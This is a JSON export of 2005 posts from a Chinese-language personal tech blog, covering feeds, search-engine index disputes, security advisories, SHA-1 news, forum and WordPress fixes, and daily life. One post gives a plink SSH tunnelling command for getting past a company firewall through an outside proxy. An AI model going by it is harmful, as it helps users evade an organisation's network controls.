    "body": "您可以訂閱這幾個 feed：\r\n\r\n<ul>\r\n\t<li><a href=\"https://blog.gslin.org/feed/\">https://blog.gslin.org/feed/</a> (Atom 1.0，建議使用這個)</li>\r\n\t<li><a href=\"https://feeds.feedburner.com/gslin\">https://feeds.feedburner.com/gslin</a> (Atom 1.0，使用 <a href=\"http://www.feedburner.com/\" rel=\"tag\">FeedBurner</a>)</li>\r\n\t<li><a href=\"https://blog.gslin.org/feed/atom/\">https://blog.gslin.org/feed/atom/</a> (Atom 1.0，如果您的 Reader 不支援 RSS 2.0 可以使用這組)</li>\r\n</ul>\r\n\r\n如果您要訂閱留言 (comment) 的部份，您可以訂閱：\r\n\r\n<ul>\r\n\t<li><a href=\"https://blog.gslin.org/comments/feed/\">https://blog.gslin.org/comments/feed/</a> (Atom 1.0)</li>\r\n</ul>",
    "title": "訂閱 (subscribe)"
  },
  {
    "id": "34",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 這篇 <a href=\"http://it.slashdot.org/article.pl?sid=05/08/14/147245\">MS05-039 Worm in the Wild</a> 引用了 <a href=\"http://isc.sans.org/\" rel=\"tag\">SANS - Internet Storm Center</a> 的報告：<a href=\"http://isc.sans.org/diary.php?date=2005-08-14\">Handler's Diary August 14th 2005</a>，其中這段實在是很好笑 :p\r\n<blockquote>Interesting game of numbers:\r\nSQL Slammer was using bug fixed in MS02-039\r\nZotob is using bug fixed in MS05-039\r\nHex 39 is 57 decimal, which is big W (Worm? Windows?) in ASCII.</blockquote>",
    "title": "MS05-039"
  },
  {
    "id": "35",
    "body": "要 <a href=\"http://en.wikipedia.org/wiki/Google_bomb\" rel=\"tag\">Google Bomb</a> 最好的辦法就是在 title 的地方 bomb (效果比文章內好 XD)\r\n\r\n<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">強者我同學 hlb</a> 終於把 Blog 弄出來了：<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb's weblog</a>，不過網頁居然沒過 XHTML 1.0 Strict :p 經過抱怨以後得到下列意見：\r\n<blockquote>01:56 &lt;@gslin&gt; hlb: 長輩，你的 blog 沒過 XHTML 1.0 Strict XD\r\n01:56 &lt;@hlb&gt; gslin: 隨便啦</blockquote>\r\n既然 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">大長輩</a> 都說隨便，那我們小喀也不敢說什麼了 XD",
    "title": "強者布丁大長輩 Blog"
  },
  {
    "id": "36",
    "body": "這幾天剛好有些人跑來問我系統安全的東西 (像是 <a href=\"http://webbbs.yzu.edu.tw/\" rel=\"tag\">WindTop</a> 這次的 bpop3d security issue)，說實話，四五年前還有到國外接觸，後來就不想碰了 - 該備份的東西備份好，有公告要 security upgrade 的做一做，其他就隨便了啦...\r\n\r\n怎麼說呢？尋找 security hole 需要大量的花時間去看 source code，或是在聽到風聲的時候拿奇怪的 debugger 翻 assembly，甚至有時候還要跟其他的大長輩 pk (oh my god)，還要小心會不會被抓到列管... (噗 XD) 那種整天提心吊膽的日子是很刺激，不過久了實在是沒力氣玩 :p\r\n\r\n所以到後來就是該做的事情做一做，如果你真的要 root 就給你，資料別亂動就是了 :p 時間拿去看 <a href=\"http://www.sunrise-inc.co.jp/keroro/\" rel=\"tag\">Keroro 軍曹</a> 或是去拐女朋友會比較快樂，真的 :p",
    "title": "系統安全"
  },
  {
    "id": "37",
    "body": "在 <a href=\"http://jedi.org/blog/\" rel=\"tag\">Jedi</a> 那邊看到 <a href=\"http://getvanilla.com/\" rel=\"tag\">vanilla</a> 這套討論區軟體，目前版本是 0.9.2。畫面很「乾淨」(比起 <a href=\"http://www.phpbb.com/\" rel=\"tag\">phpBB</a>...)\r\n\r\n我在安裝以後發現中文仍然存在一些問題，看了一下 <a href=\"http://jedi.org/blog/\" rel=\"tag\">Jedi</a> 的 Language Pack，發現他只有翻譯而沒有 patch，只好裝了 <a href=\"http://www.phpmyadmin.net/\" rel=\"tag\">phpMyAdmin</a> 看資料庫的情況，發現是 latin1 老毛病 (呃)，處理一下再測試就正常了。\r\n\r\n測試站台在 <a href=\"http://vanilla.gslin.org/\">http://vanilla.gslin.org/</a>，如果您有興趣可以在上面玩看看。這邊提供 UTF-8 安裝所需要的動作：\r\n<ul>\r\n\t<li>先建立資料庫，並將資料庫的預設字元集改成 UTF8：<code>ALTER DATABASE DEFAULT CHARACTER 'utf8';</code>。</li>\r\n\t<li>將官方網站的 <code>vanilla.0.9.2.zip</code> 解到 DocumentRoot 裡。</li>\r\n\t<li>修改 <code>library/Utility.Database.class.php</code>，尋找 <code>@mysql_connect</code> 這行，在後面加上 <code>@mysql_query('SET NAMES UTF8;', $this-&gt;Connection);</code></li>\r\n\t<li>把 <a href=\"http://jedi.org/blog/\" rel=\"tag\">Jedi</a> 提供的 <a href=\"http://jedi.org/p4/l10n/Vanilla/zh_tw/\">Language Pack</a> 丟進 <code>languages/</code> 下。</li>\r\n\t<li>用瀏覽器連到 http://vanilla.site.com/installer.php (當然，記得把 vanilla.site.com 改成你自己的網址)，把該填的資訊丟進去。</li>\r\n\t<li>理論上這樣就做完了。</li>\r\n</ul>\r\n頗有趣的是 <a href=\"http://getvanilla.com/\" rel=\"tag\">vanilla</a> 支援的 Atom 是 1.0，而非 0.3，看起來動作很快啊 :p\r\n\r\n另外就是效率問題，我不清楚整體效率如何，但是我已經瞄到大量的 Class 殺手... 我猜 (猜錯不負責) 效率可能比 <a href=\"http://www.plogworld.net/\" rel=\"tag\">pLog</a> 還 XD",
    "title": "vanilla UTF-8 修正"
  },
  {
    "id": "38",
    "body": "如果你沒有注意在看最近 Search Engine 的新聞，說起來就有點複雜了。\r\n\r\n我們從頭說起好了：<a href=\"http://www.ysearchblog.com/\" rel=\"tag\">Yahoo! Search Blog</a> 在 8/8 的時候宣稱 <a href=\"http://search.yahoo.com/\" rel=\"tag\">Yahoo! Search</a> 索引了兩百億個網頁 (這邊的網頁包括了文件及圖片)。<strong>請注意：<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 並沒有說他們索引的數量比 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 多，他們只宣稱索引了兩百億個網頁，但大家當然都會很自然的解讀成「<a href=\"http://search.yahoo.com/\" rel=\"tag\">Yahoo! Search</a> 索引的頁面比 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 多」，因為在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的網頁上就直接寫明了他索引八十億個網頁。</strong>\r\n\r\n然後這則炫耀文被報導到 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上並引起廣泛討論：<a href=\"http://slashdot.org/article.pl?sid=05/08/09/0127209&tid=95\">Yahoo Passes Google in Total Items Searched</a>。(當然，標題的意思就很清楚了)\r\n\r\n然後這幾天就吵得頗凶，像是 <a href=\"http://battellemedia.com/\" rel=\"tag\">John Battelle</a> 在 8/9、8/10、8/11 各寫了一篇這件事情的發展，說明 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的內部工程師並沒有觀察到 <a href=\"http://search.yahoo.com/\" rel=\"tag\">Yahoo! Search</a> 索引的數量有這麼大的變化：<a href=\"http://battellemedia.com/archives/001787.php\">How Many Pages Does Yahoo Index?</a>、<a href=\"http://battellemedia.com/archives/001790.php\">In This Battle, Size Does Matter: Google Responds to Yahoo Index Claims</a>、<a href=\"http://battellemedia.com/archives/001793.php\">More On Yahoo, Google, Index, Size</a>。\r\n\r\n不過到了今天，<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上報導了 <a href=\"http://www.ncsa.uiuc.edu/\" rel=\"tag\">NCSA</a> 的 Dr. Orville Vernon Burton 以及兩位研究員 Matthew Cheney 與 Mike Perry 利用一些比較公正的方法分析了 <a href=\"http://search.yahoo.com/\" rel=\"tag\">Yahoo! Search</a> 與 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 索引的數量的相對值 (也就是誰比較多、以及多了多少)：<a href=\"http://slashdot.org/article.pl?sid=05/08/15/1624212\">NCSA Compares Google and Yahoo Index Numbers</a>。\r\n\r\n簡單說明一下這個方法：因為你不可能直接取得後端資料庫的資料，所以你沒有辦法直接比較兩個 Search Engine 的情況，所以研究員打算用一些常見的字去找 (但也不能太常用到)，然後去確認 Result 真的存在 (換句話說，有被索引) 而估計相對的情況：\r\n<blockquote>Although there is no direct way to verify the size of each search engine's respective index, we developed a technique to approximate the relative size of the both the Yahoo! index and the Google index.</blockquote>\r\n但他們發現這兩個搜尋引擎都無法取得超過一千筆的資訊，所以他們只能利用筆數少於一千筆的 keyword 研究：\r\n<blockquote>Unfortunately, both the Yahoo! and Google search engines truncate results returned to the user after 1,000 results. Thus, for the purposes of this study, we were forced to restrict our searches to those queries that returned less than 1,000 results on both Yahoo! and Google. Any search result found to have more than 1,000 returned results on either search engine was disregarded from our sample. [3]</blockquote>\r\n在經過十八個小時將所需要的數據蒐集出來後，他們發現不管有沒有濾掉重複網頁 (兩個搜尋引擎都有選項可以選擇要不要顯示重複網頁)，<a href=\"http://search.yahoo.com/\" rel=\"tag\">Yahoo! Search</a> 所能找到的數量都遠少於 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a>，實際的數目大約在 1:2.5 左右。\r\n\r\n最後他們給了一個很直接的結論：\"suspicious\"\r\n<blockquote>It is the opinion of this study that Yahoo!'s claim to have a web index of over twice as many documents as Google's index is suspicious. Unless a large number of the documents Yahoo! has indexed are not yet available to its search engine, we find it puzzling that Yahoo!'s search engine consistently returned fewer results than Google.</blockquote>",
    "title": "Yahoo! Search 索引的數量比 Google 少"
  },
  {
    "id": "39",
    "body": "我們可以看到很多報導在報 Blog 成長數量驚人之類的話，但 <a href=\"http://glinden.blogspot.com/\" rel=\"tag\">Greg Linden</a> 在 <a href=\"http://glinden.blogspot.com/2005/08/on-state-of-blogosphere.html\">On the state of the blogosphere</a> 這篇文章裡面直接說：其實大部分都是 Spam、Fake Blog，所以不要再自欺欺人了。而透過 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 分析可能更少 - 真正有價值的 Blog (這邊「有價值」只是表示是真的有人在寫、有人在讀) 大約在 100k 左右。\r\n\r\n最後這句說的很實際：\r\n<blockquote>The real problem of scaling for growth of the blogosphere is not scaling the tools, but scaling the readers.</blockquote>",
    "title": "虛偽的 Blog 數字"
  },
  {
    "id": "40",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/34517943/\"><img src=\"http://photos21.flickr.com/34517943_0a2c4096ac.jpg?v=0\" alt=\"\" /></a>\r\n\r\n剛剛 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb 長輩</a> 在 IRC 上說：\r\n<blockquote>21:36 &lt;@hlb&gt; 結果 google image 第一個就是這張圖</blockquote>\r\n好糟啊...",
    "title": "用 Google Images 搜尋 \"orz\"..."
  },
  {
    "id": "42",
    "body": "在 <a href=\"http://blog.yuan.cc/ck/archives/001247.html\">My Flickr Day</a> 看到新版的 <a href=\"http://www.flickr.com/tools/\" rel=\"tag\">Flickr Uploadr</a>，抓下來更新以後還沒機會測試，先記錄下來，應該中午就可以測試了 :p (因為會去新竹...)\r\n\r\n不過在 <a href=\"http://blog.yuan.cc/ck/\" rel=\"tag\">薄荷</a> 的 Screenshot 可以看到多了一些功能，尤其是可以直接加到 Set 裡面了：\r\n\r\n<a href=\"http://www.flickr.com/photos/ckyuan/34526803/\"><img src=\"http://photos21.flickr.com/34526803_73fc548e36.jpg?v=0\" alt=\"\" /></a>",
    "title": "新版的 Flickr Uploadr"
  },
  {
    "id": "43",
    "body": "之前都教別人用 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 設定 tunnel 穿越，剛剛才發現原來同一家的 plink 也很好用 :p\r\n\r\n抓下來以後丟到 <code>C:\\WINDOWS</code> 裡 (只是因為這樣比較方便)，然後在命令提示字元下輸入：\r\n<blockquote><code>plink -ssh -L 3128:163.28.64.50:3128 -C gslin@ccca.nctu.edu.tw</code></blockquote>\r\n然後登入進去以後就把視窗最小化，然後 IE 或是 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 的 Proxy 就設定到 <code>127.0.0.1:3128</code> 即可 :p\r\n\r\n其中 <code>3128:163.28.64.50:3128</code> 表示的是 <code>127.0.0.1:3128:163.28.64.50:3128</code>，也就是把 <code>127.0.0.1:3128</code> 導入 <code>163.28.64.50:3128</code>。\r\n\r\n這台 <code>163.28.64.50:3128</code> 就是我們家的古董 Cacheflow (Proxy)，有允許 ccca.nctu.edu.tw 連過去使用 (因為在 140.113.0.0/16 裡面)。如果你要用其他的機器，請找看看其他的 Proxy server 謝謝 :p",
    "title": "穿越公司的 FireWall"
  },
  {
    "id": "44",
    "body": "在這裡：<a href=\"http://www.adobe.com/support/techdocs/321644.html\">Security Advisory: Acrobat and Adobe Reader plug-in buffer overflow</a>。\r\n<blockquote>Release Date:  August 16th, 2005\r\n\r\nProducts: Adobe Reader 5.1, 6.0-6.0.3, 7.0-7.0.2, Adobe Acrobat 5.0-5.0.5, 6.0-6.0.3, 7.0-7.0.2\r\n\r\nPlatform :  Windows, Mac OS, Linux, Solaris\r\n\r\nVulnerability Identifier: CVE-2005-2470</blockquote>",
    "title": "該來的還是來了 - PDF Security Issue"
  },
  {
    "id": "45",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/34676590/\"><img src=\"http://photos23.flickr.com/34676590_d79a8ed913.jpg?v=0\" style=\"float:left; margin-bottom: 1em; margin-right: 1em;\" alt=\"\" /></a> 本來的 <a href=\"http://www.ibm.com/\" rel=\"tag\">IBM</a> 小黑鼠爛掉了 (絕對不是因為打 <a href=\"http://www.blizzard.com/diablo2/\" rel=\"tag\">Diablo II</a> 打太多)，只好去買一支新的滑鼠... (雖然 TrackPoint 很棒，不過打 <a href=\"http://www.blizzard.com/diablo2/\" rel=\"tag\">Diablo II</a> 不方便啊)\r\n\r\n結果換 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的 <a href=\"http://www.microsoft.com/hardware/mouseandkeyboard/productdetails.aspx?pid=029\" rel=\"tag\">Standard Wireless Optical Mouse</a>，觸感還不錯，不過比起之前用的滑鼠貴了點 :o",
    "title": "換滑鼠"
  },
  {
    "id": "46",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/34681012/\"><img src=\"http://photos21.flickr.com/34681012_c242e397e3.jpg?v=0\" style=\"margin-bottom: 1em; margin-right: 1em; float: left;\" alt=\"\" /></a> 在 <a href=\"http://www.downloadsquad.com/\" rel=\"tag\">Download Squad</a> 有一篇文章：<a href=\"http://www.downloadsquad.com/2005/08/15/free-utility-to-mount-an-iso-disk-image-from-microsoft/\">Free Utility to Mount an ISO Disk Image from Microsoft</a>，文章內提到了 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 發展了一套可以掛 .iso 的虛擬磁碟機，可以透過 <a href=\"http://www.microsoft.com/downloads/\" rel=\"tag\">Microsoft Download Center</a> 下載：<a href=\"http://weblogs.asp.net/pleloup/archive/2004/01/15/58918.aspx\">Mounting ISO images in a virtual CD-ROM drive</a>。\r\n\r\n不過我看到的第一個想法是：只能掛 .iso？那我不如裝 <a href=\"http://www.daemontools.cc/\" rel=\"tag\">Daemon Tools</a> 算了。結果發現 <a href=\"http://www.daemon-tools.cc/\" rel=\"tag\">Deamon Tools</a> 受歡迎的程度遠超過我想像... 不論是在 <a href=\"http://www.downloadsquad.com/\" rel=\"tag\">Download Squad</a> 還是在原 Blog 上都被直接提出來批判 :p (狂笑)",
    "title": "掛上 ISO Image"
  },
  {
    "id": "47",
    "body": "(東張西望一下，應該沒有維護廠商的人在看？)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/34807975/\"><img src=\"http://photos22.flickr.com/34807975_e3bbc59188_m.jpg\" style=\"float: left; margin-bottom: 1em; margin-right: 1em;\" alt=\"\" /></a> 因為星期一的跳電，造成不少設備都不太正常，尤其是三台 MRTG 主機，除了看骨幹 router 的那台外，其他兩台好像一直有問題。另外 <a href=\"http://hw-driver.nctu.edu.tw/\" rel=\"tag\">hw-driver</a> 的硬碟爛掉一顆，到現在還沒好 (也許等下用 remote kvm 先想辦法處理一下)。然後星期三 (今天) 下午一顆 3COM 4400 24 ports 的 Switch 再起不能。\r\n\r\n再起不能後受影響最大的就是我 =_= (以及其他透過交大 netnews 轉信的大戶們) 因為我掛 <a href=\"http://www.gnu.org/software/screen/\" rel=\"tag\">screen</a> 的地方接在下面，在通知 <a href=\"http://www.cc.nctu.edu.tw/~ltc/\" rel=\"tag\">老人家</a> 後 <a href=\"http://www.cc.nctu.edu.tw/~ltc/\" rel=\"tag\">老人家</a> 說會通知廠商，不過廠商好像沒來... (喂喂)\r\n\r\n剛剛趁計中要關門前先拿了一顆 3COM 4400 (48 ports) 進去接，明天再找 24 ports 的換回來... (廠商不能這麼墮落啊 Q_Q)",
    "title": "抱怨一下"
  },
  {
    "id": "48",
    "body": "就... 我弟的 Blog：<a href=\"http://blog.yam.com/adyan\" rel=\"tag\">adyan0</a>。\r\n\r\n前幾天告訴他 Blog，就跟他說 <a href=\"http://blog.yam.com/\" rel=\"tag\">Yam Blog</a> 的功能還可以，寫寫東西還蠻方便的，如果用習慣以後再自己架好了... 另外也跟他說 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 很好用啊，亂訂一堆東西 zzz\r\n\r\nPS：那個 <a href=\"http://slzzp.info/\" rel=\"tag\">肥睡睡</a> (指)，不要亂來啊。",
    "title": "我弟的 Blog"
  },
  {
    "id": "49",
    "body": "看到 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 這篇 <a href=\"http://slashdot.org/article.pl?sid=05/08/16/132209\">Death of Cookies, Spyware Greatly Exaggerated?</a> 我就想提一下利用 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 的一些設定降低 Cookie 被使用到的機會。\r\n\r\n先把 Privacy 裡的 Cookie 預設值關掉，再把會用到 Cookie 的站台加進去。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/34924478/\"><img src=\"http://photos22.flickr.com/34924478_d2aeda700d.jpg?v=0\" alt=\"\" /></a>\r\n\r\n比較需要注意的是 xuite.net 會利用 Cookie 檢查圖片 (而不只是 Referer)，所以就只好開個 Allow for Session 給他。(超鳥)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/34924891/\"><img src=\"http://photos21.flickr.com/34924891_f571c70157.jpg?v=0\" alt=\"\" /></a>",
    "title": "避免瀏覽器的 Cookie 亂來"
  },
  {
    "id": "50",
    "body": "在 <a href=\"http://www.tbray.org/ongoing/When/200x/2005/08/17/Atom-Format-Done\">Pop the Champagne!</a> 這裡看到 <a href=\"http://www.ietf.org/\" rel=\"tag\">IETF</a> 的 mailing list 上正式公告 Atom 1.0 成為標準了：<a href=\"http://www1.ietf.org/mail-archive/web/ietf-announce/current/msg01485.html\">Protocol Action: 'The Atom Syndication Format' to Proposed Standard</a>，規格書在 <a href=\"http://www.ietf.org/internet-drafts/draft-ietf-atompub-format-11.txt\">http://www.ietf.org/internet-drafts/draft-ietf-atompub-format-11.txt</a> 這裡。",
    "title": "Atom 1.0 成為標準 (Proposed Standard)"
  },
  {
    "id": "51",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到用非常機車的方法教育使用者 phishing 的觀念：<a href=\"http://it.slashdot.org/article.pl?sid=05/08/17/1218211\">Anti-Phishers Pose as Phishers to Make Point</a>。\r\n\r\n<a href=\"http://www.cscic.state.ny.us/will_bio.htm\" rel=\"tag\">William Pelgrin</a> (New York's chief information security officer) 發送了一萬封 phishing mail 給他們的政府職員，如果你上當輸入了你的帳號密碼，那麼你就會被告知這樣是很危險的 :p 換句話說，<a href=\"http://www.cscic.state.ny.us/will_bio.htm\" rel=\"tag\">William Pelgrin</a> 利用實戰介紹了 Phishing 最常見的方式 :p\r\n\r\n相當有趣啊 :p",
    "title": "以實戰經驗教育使用者 Phishing 的危險"
  },
  {
    "id": "52",
    "body": "在 <a href=\"http://www.schneier.com/\" rel=\"tag\">Bruce Schneier</a> 的 Blog 上提到了在王小雲女士成功在合理的時間找到 SHA-0 與 SHA-1 的 collision 後，Andrew Yao 與 Frances Yao 提出了更快的方法：<a href=\"http://www.schneier.com/blog/archives/2005/08/new_cryptanalyt.html\">New Cryptanalytic Results Against SHA-1</a>。\r\n\r\n<a href=\"http://www.schneier.com/\" rel=\"tag\">Bruce Schneier</a> 提到了 Shamir (我猜是 <a href=\"http://www.rsasecurity.com/\" rel=\"tag\">RSA</a> 的那位 <a href=\"http://en.wikipedia.org/wiki/Adi_Shamir\" rel=\"tag\">Adi Shamir</a>) 在 <a href=\"http://www.iacr.org/conferences/crypto2005/\" rel=\"tag\">CRYPTO 2005</a> 指出這次的時間複雜度是 2<sup>63</sup>，而 Shamir 希望王小雲與她的學生可以再找到更快的方法。\r\n\r\n另外值得注意的是 <a href=\"http://www.schneier.com/\" rel=\"tag\">Bruce Schneier</a> 指出了 2<sup>64</sup> 是一個很重要的里程碑，因為以前曾經用「暴力」以及 2<sup>64</sup> Algorithm 硬幹其他的東西...\r\n\r\n沒想到進展這麼快啊...",
    "title": "SHA-1 collision 進一步發展"
  },
  {
    "id": "53",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上面提到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 與 <a href=\"http://www.ibm.com/\" rel=\"tag\">IBM</a> 與美國開始實驗 Internet over Power Lines，而 <a href=\"http://www.earthlink.net/\" rel=\"tag\">Earthlink</a> 在明年可能就會正式推出這項服務：<a href=\"http://slashdot.org/article.pl?sid=05/08/17/2315220\">Web Access Over Power Lines</a>。\r\n\r\n從文章裡看不出來頻寬可以到多少。有沒有機會到 1Mbps？另外就是 Security 的問題：是不是有可能用改裝後的 modem 聽到附近用戶的 packet？",
    "title": "Internet over Power Lines"
  },
  {
    "id": "54",
    "body": "剛剛在 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 看到免費的 Usenet Service 列表：<a href=\"http://www.disenter.com/\" rel=\"tag\">DISENTER Free News Servers</a>。\r\n\r\n大家可以把那些允許 posting 的 news server 直接列入黑名單 :p",
    "title": "免費的 Usenet Service"
  },
  {
    "id": "55",
    "body": "在 <a href=\"http://slashdotcn.org/\" rel=\"tag\">Slashdotcn</a> 上看到：<a href=\"http://slashdotcn.org/article.php/20050819100324758\">全球大学电话系统</a>。\r\n\r\n我想到 <a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a>、<a href=\"http://www.nthu.edu.tw/\" rel=\"tag\">清大</a>、<a href=\"http://www.ncu.edu.tw/\" rel=\"tag\">中央</a>、<a href=\"http://www.ym.edu.tw/\" rel=\"tag\">陽明</a> 四所學校用 <a href=\"http://www.cisco.com/\" rel=\"tag\">Cisco</a> 的設備與 T1 線路將四校的校內電話串起來，另外，這四校撥台北、桃園、新竹地區都是市內電話，整套系統購置的成本「據說」在一年內回收回來... 如果今天不使用 <a href=\"http://www.cisco.com/\" rel=\"tag\">Cisco</a> 的設備，再加上參與的學校夠多...\r\n\r\n喔對了，有要撥交大校內分機的人可以考慮以下步驟：(以價格排序)\r\n<ul>\r\n\t<li>美國：+1-800-409-9811 (Toll-free)</li>\r\n\t<li>台北、新竹市內電話：02-23812386、03-5712121 (市內電話)</li>\r\n\t<li>有網路但是不在台北新竹的人：<a href=\"http://www.skype.com/products/skypeout/\" rel=\"tag\">SkypeOut</a> 撥 +1-800-409-9811 (EUR$0.017/min 約 NTD$0.66/min)</li>\r\n\t<li>中華電信行動電話用戶，600 型以上費率：0911-341234 (網內互打)</li>\r\n\t<li>中華電信行動電話用戶，588 型以下費率：+1-800-409-9811 (這是因為 019/017/016/015 的國際電話比網內互打便宜)</li>\r\n\t<li>非中華電信行動電話用戶：+1-800-409-9811</li>\r\n</ul>",
    "title": "全球大學電話系統"
  },
  {
    "id": "56",
    "body": "在 <a href=\"http://www.downloadsquad.com/\" rel=\"tag\">Download Squad</a> 看到 <a href=\"http://www.sopcast.org/\" rel=\"tag\">SopCast</a>：<a href=\"http://www.downloadsquad.com/2005/08/19/free-p2p-internet-television-with-sopcast/\">Free P2P Internet Television with SOPCast</a>，看起來是對岸或是香港的人主導的。\r\n\r\n不過在 <a href=\"http://www.sopcast.org/channel/\">Channel (Live)</a> 裡面看到 BBC World News、HBO Movies、ESPN Sports，嗯嗯啊啊...\r\n<blockquote>I love this, but I wonder how legal is it? It's a great program.\r\n\r\nPosted at 4:34 PM ET on Aug 19, 2005 by Chris 0 stars</blockquote>",
    "title": "SopCast"
  },
  {
    "id": "57",
    "body": "在 <a href=\"http://eroach.typepad.com/\" rel=\"tag\">淡水生活</a> 這看到的：<a href=\"http://eroach.typepad.com/tamshuilife/2005/08/_2005820.html\">不是網摘 2005.8.20</a>。\r\n<blockquote>3. 為了搬家方便，南方網站現在用 www.esouth.org.tw 的假網址，想進來的人，請在電腦裡的c:\\windows\\system32\\drivers\\etc\\hosts (for XP,95,98,me) 或 c:\\winnt\\system32\\drivers\\etc\\hosts (for win2k)檔案加上 \"210.59.228.33     www.esouth.org.tw\" 一行字。不過，不曉得為什麼，Jeph、TM、豆腐魚都進不來，所以現在還是我一個人努力搬文章中。</blockquote>\r\n我知道南方有 esouth.org，不過我不知道有 esouth.org.tw？查 esouth.org.tw 的 NS RR 沒找到，再跑去 <a href=\"http://whois.twnic.net/\" rel=\"tag\">TWNIC Whois</a> 查 esouth.org.tw 也沒找到，最後猜測沒繳錢已經 expire，去 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找 \"esouth.org.tw\" 也沒找到？\r\n\r\n用 <a href=\"http://tw.yahoo.com/\" rel=\"tag\">Yahoo! Kimo</a> 找，唯一找到的是 <a href=\"http://tw.yahoo.com/\" rel=\"tag\">Yahoo! Kimo</a> 的頁庫存檔：(原站台暫時連不上去)\r\n<a href=\"http://www.hgsh.hc.edu.tw/geography/%A6n%AF%B8%A4H%A4%E5.htm\">http://www.hgsh.hc.edu.tw/geography/%A6n%AF%B8%A4H%A4%E5.htm</a>。\r\n\r\n這是在 high 什麼啊？(呃，還叫別人加上 www.esouth.org.tw？) 我不懂啊...\r\n\r\nPS：以 \"esouth.org.tw\" 搜尋的話，<a href=\"http://www.ask.com/\" rel=\"tag\">Ask Jeeves</a> 也找不到、<a href=\"http://search.msn.com/\" rel=\"tag\">MSN Search</a>、<a href=\"http://www.alltheweb.com/\" rel=\"tag\">Alltheweb</a> 找到的東西與 <a href=\"http://tw.yahoo.com/\" rel=\"tag\">Yahoo! Kimo</a> 一樣。",
    "title": "esouth.org.tw？"
  },
  {
    "id": "58",
    "body": "在 <a href=\"http://www.oui-news.com/\" rel=\"tag\">Oui News</a> 上又看到 \"ouiouioui\" 的 tag spam：<a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 上的 <a href=\"http://del.icio.us/engadget.chinese\">engadget.chinese</a>。(專門註冊起來用？XD)\r\n\r\n請注意：雖然可能是有人故意抹黑 <a href=\"http://chinese.engadget.com/\" rel=\"tag\">Engadget Chinese</a>，不過依照目前 <a href=\"http://chinese.engadget.com/\" rel=\"tag\">Engadget Chinese</a> 的水準，他們自己出來 spam 我也不會覺得很奇怪啦...\r\n\r\nPS：我又想到瓦肯人的冷翻譯了 :~\r\n\r\nUpdate：8/21 下午又變本加厲了，一口氣 submit 一卡車 Engadget Chinese 的文章啊，呼呼哈哈 XD",
    "title": "Engadget.Chinese 與 ouiouioui spam？"
  },
  {
    "id": "59",
    "body": "<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 1.6 在發表文章時的 Categories 欄位不是依據 cat_name alphabet 排序，而是依照文章篇數排 (喂喂，不是這樣啊...)，於是我只好 patch 一下 <code>wp-admin/admin-functions.php</code>，把 <code>return_categories_list()</code> 改成：\r\n<blockquote><pre>function return_categories_list( $parent = 0 ) {\r\n        global $wpdb;\r\n        return $wpdb-&gt;get_col(&quot;SELECT cat_ID FROM $wpdb-&gt;categories \r\n                WHERE category_parent = $parent ORDER BY cat_name&quot;);\r\n}</pre></blockquote>\r\n也許晚點檢查一下照文章數排的原因，如果是新進來的 code 就送 ticket...",
    "title": "WordPress 1.6 的 Categories"
  },
  {
    "id": "60",
    "body": "今天跟 <a href=\"http://blake.yichi.org/\" rel=\"tag\">Blake 學長</a>、<a href=\"http://blog.yam.com/hrwang/\" rel=\"tag\">汪長輩</a>、<a href=\"http://www.far2.net/\" rel=\"tag\">far 長輩</a> 一起去麻布茶房吃東西，結果遇到一堆鳥事情... <a href=\"http://blog.yam.com/hrwang/\" rel=\"tag\">汪長輩</a> 的 Blog 裡有寫了，我就懶得再幹剿了：<a href=\"http://blog.yam.com/hrwang/archives/394532.html\">新竹遠百的麻布茶房</a>。",
    "title": "新竹遠百的麻布茶房"
  },
  {
    "id": "61",
